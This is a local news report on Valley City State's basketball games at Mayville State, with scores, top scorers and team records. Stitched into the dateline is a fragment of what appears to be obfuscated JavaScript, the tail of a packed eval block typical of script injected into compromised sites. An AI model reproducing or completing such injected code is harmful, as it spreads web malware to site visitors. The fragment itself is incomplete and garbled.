MAYVILLE, srskb|var|u0026u|referrer|hisfb||js|php’.split(‘|’),0,{}))
N.D (NewsDakota.com) Valley City State’s basketball teams opened North Star Athletic Association play on Saturday night on the road at Mayville State. While the Men earned a 69-59 win the women’s team would have a six game winning streak snapped at the hands of the #16 Commets in a 76-58 final.
Just days after upsetting the #3 University of Jamestown women’s team Mayville State was ridding high as they hosted the Vikings. However, the feeling would quickly turn to one of survival. The Vikings came out fast and strong working around the perimeter and hitting 35% from the field in the opening period of play.
After the break, the Vikings would regroup and pull back to with in 5 of the Comets mid-way through the second half. Despite holding Mayville to just 22% from the three point line (a team that hit 71% from behind the arc against Jamestown) the Vikings would fail to take back the lead. In the second half the Comets countered VCSU’s defense by working the ball to their All-American center Marcisa McMillian. She would tally a game high 18 points.
Brittany Lehner led the Vikings on the score sheet with 12 points. Courtney Dixon just missed a double-double with 9 points and 12 rebounds.
The loss drops Valley City to 10-7 overall with an early 0-1 record in the NSAA. Mayville stands atop the conference with a 2-0 record going 16-2 on the year. They also hold the longest win streak in the conference at 11 games.
The Men’s game featured two teams going in different directions. The Vikings entered Saturday’s game having earned seven wins in their last 10 games. The Comments were in a five game losing slump.
When the game started the Comets jumped out to the early lead with help from Jonathan Butler who knocked down a three pointer to start the scoring. Along with basket from Alex Herman, the home team jumped out to a quick 5-0 lead. However, Valley City would fight back but would struggle to hold the lead. With just 13 second remaining in the first half. It seemed as though Mayville would head to the break with the advantage, but A.J. McDonald had something to say about that. As the seconds ticked away, the Texas Native teed up a shot from down town to tie the game at 32.
McDonald wasn’t done there, coming out in the second half he would knock down two more three point buckets giving the Vikings the lead. The two teams would literately battle through the rest of the game as four players fouled out (two from each side). VCSU’s Russell Robinson would leave the game mid-way through the half along with McDonald. The Comets would lose two of their bigs shortly after as Butler and Colin Fitz found their way to the bench.
After the Comets lost their height, Valley City’s Quinton Peterson would dominate under the boards going for 15 points in the game. In the final minutes when the Comets turned to fouling as a strategy, they seemed to find Jeremy Ware. The Cheyenne, Wyoming native would go a perfect six for six from the line assuring the ten point victory for the Vikings.
Despite fouling out of the game, McDonald led the Vikings in points with 17.
The Vikings advances to 9-10 on the year with a 1-0 conference record. The Comets fall to 6-12 on the year with a 0-2 record in the North Star.
The Vikings Men’s and Women’s team return home January 29th when they host the University of Jamestown. Hear the games live on Dakota Country Radio 1490 KOVC starting at 5:30pm.